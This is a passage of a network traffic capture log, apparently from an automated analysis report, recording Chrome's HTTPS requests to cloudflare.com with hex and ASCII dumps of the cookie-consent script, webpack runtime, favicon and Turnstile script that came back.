2024-10-18 13:48:03 UTC	1369	IN	Data Raw: 68 2e 70 72 6f 74 6f 74 79 70 65 2e 63 61 70 74 75 72 65 4e 6f 6e 63 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 6e 6f 6e 63 65 3d 70 2e 73 74 75 62 53 63 72 69 70 74 45 6c 65 6d 65 6e 74 2e 6e 6f 6e 63 65 7c 7c 70 2e 73 74 75 62 53 63 72 69 70 74 45 6c 65 6d 65 6e 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 6e 6f 6e 63 65 22 29 7c 7c 6e 75 6c 6c 7d 2c 68 2e 70 72 6f 74 6f 74 79 70 65 2e 66 65 74 63 68 42 61 6e 6e 65 72 53 44 4b 44 65 70 65 6e 64 65 6e 63 79 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 73 65 74 44 6f 6d 61 69 6e 44 61 74 61 46 69 6c 65 55 52 4c 28 29 2c 74 68 69 73 2e 63 72 6f 73 73 4f 72 69 67 69 6e 3d 70 2e 73 74 75 62 53 63 72 69 70 74 45 6c 65 6d 65 6e 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 63 72 6f 73 73 Data Ascii: h.prototype.captureNonce=function(){this.nonce=p.stubScriptElement.nonce\|\|p.stubScriptElement.getAttribute("nonce")\|\|null},h.prototype.fetchBannerSDKDependency=function(){this.setDomainDataFileURL(),this.crossOrigin=p.stubScriptElement.getAttribute("cross
2024-10-18 13:48:03 UTC	1369	IN	Data Raw: 6e 65 54 72 75 73 74 2e 67 65 6f 6c 6f 63 61 74 69 6f 6e 52 65 73 70 6f 6e 73 65 2c 74 68 69 73 2e 73 65 74 47 65 6f 4c 6f 63 61 74 69 6f 6e 28 69 2e 63 6f 75 6e 74 72 79 43 6f 64 65 2c 69 2e 73 74 61 74 65 43 6f 64 65 29 2c 74 68 69 73 2e 61 64 64 42 61 6e 6e 65 72 53 44 4b 53 63 72 69 70 74 28 74 29 29 3a 28 69 3d 74 68 69 73 2e 72 65 61 64 43 6f 6f 6b 69 65 50 61 72 61 6d 28 70 2e 6f 70 74 61 6e 6f 6e 43 6f 6f 6b 69 65 4e 61 6d 65 2c 70 2e 67 65 6f 6c 6f 63 61 74 69 6f 6e 43 6f 6f 6b 69 65 73 50 61 72 61 6d 29 29 7c 7c 74 2e 53 6b 69 70 47 65 6f 6c 6f 63 61 74 69 6f 6e 3f 28 65 3d 69 2e 73 70 6c 69 74 28 22 3b 22 29 5b 30 5d 2c 69 3d 69 2e 73 70 6c 69 74 28 22 3b 22 29 5b 31 5d 2c 74 68 69 73 2e 73 65 74 47 65 6f 4c 6f 63 61 74 69 6f 6e 28 65 2c 69 29 Data Ascii: neTrust.geolocationResponse,this.setGeoLocation(i.countryCode,i.stateCode),this.addBannerSDKScript(t)):(i=this.readCookieParam(p.optanonCookieName,p.geolocationCookiesParam))\|\|t.SkipGeolocation?(e=i.split(";")[0],i=i.split(";")[1],this.setGeoLocation(e,i)
2024-10-18 13:48:03 UTC	1369	IN	Data Raw: 65 6f 4c 6f 63 61 74 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 70 2e 75 73 65 72 4c 6f 63 61 74 69 6f 6e 3d 7b 63 6f 75 6e 74 72 79 3a 74 2c 73 74 61 74 65 3a 65 3d 76 6f 69 64 20 30 3d 3d 3d 65 3f 22 22 3a 65 7d 7d 2c 68 2e 70 72 6f 74 6f 74 79 70 65 2e 6f 74 46 65 74 63 68 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 69 2c 65 2c 6e 2c 61 29 7b 76 6f 69 64 20 30 3d 3d 3d 65 26 26 28 65 3d 21 31 29 2c 76 6f 69 64 20 30 3d 3d 3d 6e 26 26 28 6e 3d 6e 75 6c 6c 29 3b 76 61 72 20 6f 3d 77 69 6e 64 6f 77 2e 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 26 26 77 69 6e 64 6f 77 2e 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 22 6f 74 50 72 65 76 69 65 77 44 61 74 61 22 29 3b 69 66 28 6e 65 77 20 52 65 67 45 78 70 28 22 5e 66 69 6c 65 3a 2f Data Ascii: eoLocation=function(t,e){p.userLocation={country:t,state:e=void 0===e?"":e}},h.prototype.otFetch=function(t,i,e,n,a){void 0===e&&(e=!1),void 0===n&&(n=null);var o=window.sessionStorage&&window.sessionStorage.getItem("otPreviewData");if(new RegExp("^file:/
2024-10-18 13:48:03 UTC	1369	IN	Data Raw: 72 20 65 2c 69 2c 6e 2c 61 3d 70 2e 75 73 65 72 4c 6f 63 61 74 69 6f 6e 2c 6f 3d 74 2e 52 75 6c 65 53 65 74 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 21 30 3d 3d 3d 74 2e 44 65 66 61 75 6c 74 7d 29 3b 69 66 28 21 61 2e 63 6f 75 6e 74 72 79 26 26 21 61 2e 73 74 61 74 65 29 72 65 74 75 72 6e 20 6f 26 26 30 3c 6f 2e 6c 65 6e 67 74 68 3f 6f 5b 30 5d 3a 6e 75 6c 6c 3b 66 6f 72 28 76 61 72 20 73 3d 61 2e 73 74 61 74 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 72 3d 61 2e 63 6f 75 6e 74 72 79 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 75 3d 30 3b 75 3c 74 2e 52 75 6c 65 53 65 74 2e 6c 65 6e 67 74 68 3b 75 2b 2b 29 69 66 28 21 30 3d 3d 3d 74 2e 52 75 6c 65 53 65 74 5b 75 5d 2e 47 6c 6f 62 61 6c 29 6e 3d 74 2e 52 75 6c 65 Data Ascii: r e,i,n,a=p.userLocation,o=t.RuleSet.filter(function(t){return!0===t.Default});if(!a.country&&!a.state)return o&&0<o.length?o[0]:null;for(var s=a.state.toLowerCase(),r=a.country.toLowerCase(),u=0;u<t.RuleSet.length;u++)if(!0===t.RuleSet[u].Global)n=t.Rule
2024-10-18 13:48:04 UTC	1369	IN	Data Raw: 49 41 42 43 6f 6f 6b 69 65 56 61 6c 75 65 3d 74 68 69 73 2e 67 65 74 43 6f 6f 6b 69 65 28 70 2e 6f 6e 65 54 72 75 73 74 49 41 42 43 6f 6f 6b 69 65 4e 61 6d 65 29 29 3a 70 2e 69 73 53 74 75 62 52 65 61 64 79 3d 21 31 7d 2c 68 2e 70 72 6f 74 6f 74 79 70 65 2e 76 61 6c 69 64 61 74 65 49 41 42 47 44 50 52 41 70 70 6c 69 65 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 72 65 61 64 43 6f 6f 6b 69 65 50 61 72 61 6d 28 70 2e 6f 70 74 61 6e 6f 6e 43 6f 6f 6b 69 65 4e 61 6d 65 2c 70 2e 67 65 6f 6c 6f 63 61 74 69 6f 6e 43 6f 6f 6b 69 65 73 50 61 72 61 6d 29 2e 73 70 6c 69 74 28 22 3b 22 29 5b 30 5d 3b 74 3f 74 68 69 73 2e 69 73 42 6f 6f 6c 65 61 6e 28 74 29 3f 70 2e 6f 6e 65 54 72 75 73 74 49 41 42 67 64 70 72 41 70 70 6c 69 65 73 47 6c 6f Data Ascii: IABCookieValue=this.getCookie(p.oneTrustIABCookieName)):p.isStubReady=!1},h.prototype.validateIABGDPRApplied=function(){var t=this.readCookieParam(p.optanonCookieName,p.geolocationCookiesParam).split(";")[0];t?this.isBoolean(t)?p.oneTrustIABgdprAppliesGlo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.8	50720	104.16.124.96	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:04 UTC	569	OUT	GET /webpack-runtime-1e8f122af67c0024abb2.js HTTP/1.1 Host: www.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc
2024-10-18 13:48:04 UTC	956	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:48:04 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Cache-Control: public, max-age=0, must-revalidate ETag: W/"40c067dcfc91846b5c04d47eb89d9b3d" Strict-Transport-Security: max-age=31536000; includeSubDomains Permissions-Policy: geolocation=(), camera=(), microphone=() Referrer-Policy: strict-origin-when-cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-GWW-LOC: EN-US X-PGS-LOC: EN-US X-XSS-Protection: 1; mode=block Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LkjIpcqgap2o6Ikz2QS0n9ImrJWAyRKY8%2Fp2jgi%2BfefLVhnzUU%2FtMxqFymazQ5X7MhrHPWLrGEHAcfN1FycsDxfoZC1Msbj%2FhU70bsUHFXE4EdkIe5q3XzYvE9FXjAaCFGVWkg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d48fbe11dbc4782-DFW alt-svc: h3=":443"; ma=86400
2024-10-18 13:48:04 UTC	413	IN	Data Raw: 31 38 65 33 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 65 2c 74 2c 6e 2c 72 2c 6f 2c 63 3d 7b 7d 2c 61 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 73 28 65 29 7b 76 61 72 20 74 3d 61 5b 65 5d 3b 69 66 28 76 6f 69 64 20 30 21 3d 3d 74 29 72 65 74 75 72 6e 20 74 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 6e 3d 61 5b 65 5d 3d 7b 69 64 3a 65 2c 6c 6f 61 64 65 64 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 63 5b 65 5d 2e 63 61 6c 6c 28 6e 2e 65 78 70 6f 72 74 73 2c 6e 2c 6e 2e 65 78 70 6f 72 74 73 2c 73 29 2c 6e 2e 6c 6f 61 64 65 64 3d 21 30 2c 6e 2e 65 78 70 6f 72 74 73 7d 73 2e 6d 3d 63 2c 65 3d 5b 5d 2c 73 2e 4f 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 2c 72 2c 6f 29 7b 69 66 28 21 6e 29 7b 76 Data Ascii: 18e3!function(){"use strict";var e,t,n,r,o,c={},a={};function s(e){var t=a[e];if(void 0!==t)return t.exports;var n=a[e]={id:e,loaded:!1,exports:{}};return c[e].call(n.exports,n,n.exports,s),n.loaded=!0,n.exports}s.m=c,e=[],s.O=function(t,n,r,o){if(!n){v
2024-10-18 13:48:04 UTC	1369	IN	Data Raw: 28 6e 5b 66 5d 29 7d 29 29 3f 6e 2e 73 70 6c 69 63 65 28 66 2d 2d 2c 31 29 3a 28 61 3d 21 31 2c 6f 3c 63 26 26 28 63 3d 6f 29 29 3b 69 66 28 61 29 7b 65 2e 73 70 6c 69 63 65 28 64 2d 2d 2c 31 29 3b 76 61 72 20 69 3d 72 28 29 3b 76 6f 69 64 20 30 21 3d 3d 69 26 26 28 74 3d 69 29 7d 7d 72 65 74 75 72 6e 20 74 7d 6f 3d 6f 7c 7c 30 3b 66 6f 72 28 76 61 72 20 64 3d 65 2e 6c 65 6e 67 74 68 3b 64 3e 30 26 26 65 5b 64 2d 31 5d 5b 32 5d 3e 6f 3b 64 2d 2d 29 65 5b 64 5d 3d 65 5b 64 2d 31 5d 3b 65 5b 64 5d 3d 5b 6e 2c 72 2c 6f 5d 7d 2c 73 2e 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 26 26 65 2e 5f 5f 65 73 4d 6f 64 75 6c 65 3f 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 2e 64 65 66 61 75 6c 74 7d 3a 66 75 6e 63 74 69 6f 6e 28 29 7b Data Ascii: (n[f])}))?n.splice(f--,1):(a=!1,o<c&&(c=o));if(a){e.splice(d--,1);var i=r();void 0!==i&&(t=i)}}return t}o=o\|\|0;for(var d=e.length;d>0&&e[d-1][2]>o;d--)e[d]=e[d-1];e[d]=[n,r,o]},s.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){
2024-10-18 13:48:04 UTC	1369	IN	Data Raw: 61 67 65 2d 74 73 78 22 2c 32 35 33 3a 22 61 30 36 63 66 66 39 33 34 65 39 35 37 39 35 33 36 63 65 31 63 31 30 62 61 64 32 31 63 31 64 36 64 37 66 36 33 61 65 30 22 2c 32 38 35 3a 22 63 6f 6d 70 6f 6e 65 6e 74 2d 2d 2d 73 72 63 2d 63 6f 6d 70 6f 6e 65 6e 74 73 2d 64 65 6d 6f 2d 70 61 67 65 73 2d 61 72 69 61 2d 6c 61 62 65 6c 73 2d 61 72 69 61 2d 6c 61 62 65 6c 73 2d 74 73 78 22 2c 32 39 37 3a 22 63 6f 6d 70 6f 6e 65 6e 74 2d 2d 2d 73 72 63 2d 63 6f 6d 70 6f 6e 65 6e 74 73 2d 70 61 67 65 2d 70 61 67 65 2d 74 65 6d 70 6c 61 74 65 2d 74 73 78 22 2c 33 30 39 3a 22 38 64 32 36 37 37 38 34 38 61 64 63 31 38 36 61 37 66 61 34 66 38 33 38 65 61 66 38 61 34 36 30 31 33 35 61 32 32 66 34 22 2c 33 32 38 3a 22 63 6f 6d 70 6f 6e 65 6e 74 2d 2d 2d 73 72 63 2d 63 6f 6d Data Ascii: age-tsx",253:"a06cff934e9579536ce1c10bad21c1d6d7f63ae0",285:"component---src-components-demo-pages-aria-labels-aria-labels-tsx",297:"component---src-components-page-page-template-tsx",309:"8d2677848adc186a7fa4f838eaf8a460135a22f4",328:"component---src-com
2024-10-18 13:48:04 UTC	1369	IN	Data Raw: 31 65 62 36 66 64 31 64 65 66 32 36 38 32 30 38 37 22 2c 39 32 3a 22 37 61 36 33 62 32 39 31 35 61 32 33 64 33 30 65 64 65 30 35 22 2c 39 38 3a 22 63 35 36 38 64 66 66 64 64 63 65 34 36 64 30 64 64 37 66 33 22 2c 31 32 34 3a 22 33 31 36 33 37 64 38 61 62 38 62 31 35 34 38 37 65 34 63 31 22 2c 31 36 36 3a 22 36 64 35 32 39 31 64 33 34 37 33 35 32 65 32 62 65 65 62 38 22 2c 31 37 34 3a 22 32 34 32 37 37 32 65 66 31 30 64 38 64 31 36 31 61 65 32 34 22 2c 32 32 33 3a 22 31 65 62 32 30 30 36 35 34 37 34 36 65 31 33 66 30 32 34 33 22 2c 32 35 33 3a 22 38 62 36 31 35 35 34 65 66 34 63 34 39 30 62 37 37 39 63 65 22 2c 32 37 38 3a 22 63 64 39 64 34 34 30 39 39 31 31 35 65 30 32 30 37 35 34 62 22 2c 32 38 35 3a 22 39 35 66 61 34 32 64 39 36 36 32 62 34 35 64 30 31 Data Ascii: 1eb6fd1def2682087",92:"7a63b2915a23d30ede05",98:"c568dffddce46d0dd7f3",124:"31637d8ab8b15487e4c1",166:"6d5291d347352e2beeb8",174:"242772ef10d8d161ae24",223:"1eb200654746e13f0243",253:"8b61554ef4c490b779ce",278:"cd9d44099115e020754b",285:"95fa42d9662b45d01
2024-10-18 13:48:04 UTC	1369	IN	Data Raw: 64 20 30 21 3d 3d 6e 29 66 6f 72 28 76 61 72 20 69 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 73 63 72 69 70 74 22 29 2c 64 3d 30 3b 64 3c 69 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 76 61 72 20 75 3d 69 5b 64 5d 3b 69 66 28 75 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 73 72 63 22 29 3d 3d 65 7c 7c 75 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 77 65 62 70 61 63 6b 22 29 3d 3d 6f 2b 6e 29 7b 61 3d 75 3b 62 72 65 61 6b 7d 7d 61 7c 7c 28 66 3d 21 30 2c 28 61 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 29 2e 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 2c 61 2e 74 69 6d 65 6f 75 74 3d 31 32 30 2c 73 2e 6e 63 26 26 61 2e 73 65 74 41 74 Data Ascii: d 0!==n)for(var i=document.getElementsByTagName("script"),d=0;d<i.length;d++){var u=i[d];if(u.getAttribute("src")==e\|\|u.getAttribute("data-webpack")==o+n){a=u;break}}a\|\|(f=!0,(a=document.createElement("script")).charset="utf-8",a.timeout=120,s.nc&&a.setAt
2024-10-18 13:48:04 UTC	490	IN	Data Raw: 68 75 6e 6b 4c 6f 61 64 45 72 72 6f 72 22 2c 61 2e 74 79 70 65 3d 6f 2c 61 2e 72 65 71 75 65 73 74 3d 63 2c 72 5b 31 5d 28 61 29 7d 7d 29 2c 22 63 68 75 6e 6b 2d 22 2b 74 2c 74 29 7d 7d 2c 73 2e 4f 2e 6a 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 30 3d 3d 3d 65 5b 74 5d 7d 3b 76 61 72 20 74 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 29 7b 76 61 72 20 72 2c 6f 2c 63 3d 6e 5b 30 5d 2c 61 3d 6e 5b 31 5d 2c 66 3d 6e 5b 32 5d 2c 69 3d 30 3b 69 66 28 63 2e 73 6f 6d 65 28 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 30 21 3d 3d 65 5b 74 5d 7d 29 29 29 7b 66 6f 72 28 72 20 69 6e 20 61 29 73 2e 6f 28 61 2c 72 29 26 26 28 73 2e 6d 5b 72 5d 3d 61 5b 72 5d 29 3b 69 66 28 66 29 76 61 72 20 64 3d 66 28 73 29 7d 66 6f 72 28 74 26 26 74 28 6e Data Ascii: hunkLoadError",a.type=o,a.request=c,r[1](a)}}),"chunk-"+t,t)}},s.O.j=function(t){return 0===e[t]};var t=function(t,n){var r,o,c=n[0],a=n[1],f=n[2],i=0;if(c.some((function(t){return 0!==e[t]}))){for(r in a)s.o(a,r)&&(s.m[r]=a[r]);if(f)var d=f(s)}for(t&&t(n
2024-10-18 13:48:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.8	50721	104.16.124.96	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:04 UTC	541	OUT	GET /favicon.ico HTTP/1.1 Host: www.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc
2024-10-18 13:48:04 UTC	960	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:48:04 GMT Content-Type: image/vnd.microsoft.icon Transfer-Encoding: chunked Connection: close Cache-Control: public, max-age=0, must-revalidate ETag: W/"ffb25f3edc5c56acfdf7e7cdffcb217c" Strict-Transport-Security: max-age=31536000; includeSubDomains Permissions-Policy: geolocation=(), camera=(), microphone=() Referrer-Policy: strict-origin-when-cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-GWW-LOC: EN-US X-PGS-LOC: EN-US X-XSS-Protection: 1; mode=block Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=g02ZA9b7MXAGiT5hzyzETr58wjwjuQ1nwRyAqXPxW8b0%2F4jF377QFsU26WgB2%2FbAfG2eMnz4lR%2BQCAYRH881XegzVpqB2k0MPyUZqjd82S%2BSVKRdQTtg0u%2FcJ6qCtpoEm4auhg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d48fbe17a6fe823-DFW alt-svc: h3=":443"; ma=86400
2024-10-18 13:48:04 UTC	409	IN	Data Raw: 39 62 35 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 60 00 00 00 60 08 06 00 00 00 e2 98 77 38 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 09 67 49 44 41 54 78 5e ed 9c 0d b0 54 55 1d c0 cf b9 5f fb fd 7c 5f fb f0 21 8f 8f 92 04 b3 52 9f cc 18 90 28 53 d6 a4 98 cd 40 84 f6 01 8a 41 08 53 69 8d 59 7e 94 d9 c8 a7 90 23 98 33 45 c1 34 a0 39 45 4a d9 d0 68 81 02 35 bd 1a 13 1a 34 23 44 94 07 cb 7b 6f df be dd bd bb 7b bf ce bf ff b9 8f 47 4f e2 c1 dd bd bb fb f6 c9 d9 99 c3 79 bb f7 ff f9 fb 9f 7b f7 9e b3 e7 42 88 78 09 02 82 80 20 20 08 08 02 82 80 20 20 08 08 02 82 80 20 20 08 08 02 82 80 20 20 08 08 02 82 80 20 20 08 08 02 82 80 20 20 08 08 02 82 80 20 20 08 08 02 82 80 20 20 08 08 02 82 80 20 20 08 08 02 ef 25 Data Ascii: 9b5PNGIHDR``w8pHYs+gIDATx^TU_\|_!R(S@ASiY~#3E49EJh54#D{o{GOy{Bx %
2024-10-18 13:48:04 UTC	1369	IN	Data Raw: db 6a 1b b4 ef 04 6f db 6e 95 dd be 47 83 35 59 80 de c7 af 51 23 01 65 83 d9 79 78 21 01 c7 63 2a a5 89 49 4d 13 d2 a1 c6 f8 74 7a eb 33 fb 4b b3 e0 4f ab e6 0a 90 5a 37 ad 45 01 d6 41 fa 3a c7 fa 4b ad 08 6d 59 23 e1 89 ed 0f 4a 9f 7f ea a1 22 b4 ca 22 5a 53 05 48 ad 9d 76 b1 62 1b 07 88 de a5 96 25 bb 22 8d 84 2e 9b b1 55 9e bd f9 96 22 d5 7c 89 4b be b4 cb a8 8c f0 27 a8 76 e1 df c3 05 9f a7 92 ff e7 ae 79 ec d7 f3 1f 2b 63 5a e7 34 55 13 05 48 ac bc ba 4e 61 c6 ab a0 77 9f 33 e0 4a 0b e4 f6 ef 5c 06 bf fd ca fc 4a fb 19 b0 5f 13 05 88 06 95 3f 92 4c 57 ac 5a 49 9f d5 0f 00 d1 f7 ed fe 19 6c 5b 38 a9 1a f1 0c 7b 01 72 1b ae 5d 0c c9 b7 db ab 91 ac 67 1f a6 4e 0a 9d 6f be ec 59 de 87 e0 b0 16 a0 73 e5 d4 20 64 d3 4f f8 88 bf 62 aa 4e d7 c1 66 78 fa 73 Data Ascii: jonG5YQ#eyx!c*IMtz3KOZ7EA:KmY#J""ZSHvb%".U"\|K'vy+cZ4UHNaw3J\J_?LWZIl[8{r]gNoYs dObNfxs
2024-10-18 13:48:04 UTC	714	IN	Data Raw: 6e 31 72 7c 98 82 52 fe f0 04 6f 16 56 c7 22 0c 4c ec 6d dc a2 e3 8e 76 ec 4d 00 b0 80 41 01 7b 1e 23 8e 74 94 05 2e 83 9f 73 dd fe 1e 47 b7 ab 83 c7 70 a4 0f 8c 78 de f3 b3 83 30 13 cf 22 13 9d f7 d9 44 7a ed a2 fb 3b 4a 4a 18 fe 7e 6f 0b 91 c9 14 b4 3f 0e 0b d0 82 0f 86 c4 f1 2c 6b 61 96 5d 8f 0f 8a 34 82 a5 6b 2c 9f 6a a5 66 f6 ac bb ba b5 b1 1f de e8 16 a0 6f cd 15 db e5 4c f2 c6 8a d1 af 45 c3 78 0d 53 e3 6d 7b b1 52 37 45 ef dc 7d ce ad 19 f0 97 65 71 42 d9 0a 2b d9 77 0b 64 8f 06 ca 91 92 dc 3c f9 1d 9a 58 3d b5 35 a2 1f eb ac e4 e8 2f 47 b0 15 b3 11 ac 23 52 43 c3 47 c2 8b 5e da 37 94 0f d8 f9 85 2d 66 f7 b1 79 e5 66 44 63 e3 88 72 41 88 cd b1 b3 25 9d 89 15 63 52 55 c3 38 c1 64 7a 68 2f fa 8c 9e ee d7 f9 fd ec 7a 60 d6 ab 66 d7 d1 8a 6c 95 87 42 Data Ascii: n1r\|RoV"LmvMA{#t.sGpx0"Dz;JJ~o?,ka]4k,jfoLExSm{R7E}eqB+wd<X=5/G#RCG^7-fyfDcrA%cRU8dzh/z`flB
2024-10-18 13:48:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.8	50722	104.18.95.41	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:04 UTC	560	OUT	GET /turnstile/v0/b/62ec4f065604/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.cloudflare.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 13:48:05 UTC	471	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:48:05 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47460 Connection: close accept-ranges: bytes last-modified: Tue, 01 Oct 2024 14:19:56 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 8d48fbe358a946ce-DFW alt-svc: h3=":443"; ma=86400
2024-10-18 13:48:05 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 57 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 6c 2c 68 29 7b 74 72 79 7b 76 61 72 20 66 3d 65 5b 6c 5d 28 68 29 2c 70 3d 66 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 73 29 7b 6e 28 73 29 3b 72 65 74 75 72 6e 7d 66 2e 64 6f 6e 65 3f 72 28 70 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 70 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 6c 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Wt(e,r,n,o,c,l,h){try{var f=e[l](h),p=f.value}catch(s){n(s);return}f.done?r(p):Promise.resolve(p).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var l=e.apply(r,n);funct
2024-10-18 13:48:05 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 41 72 28 65 2c 72 29 7b 76 61 72 20 6e 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 72 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 6e 2e 70 75 73 68 2e 61 70 70 6c 79 28 6e 2c 6f 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 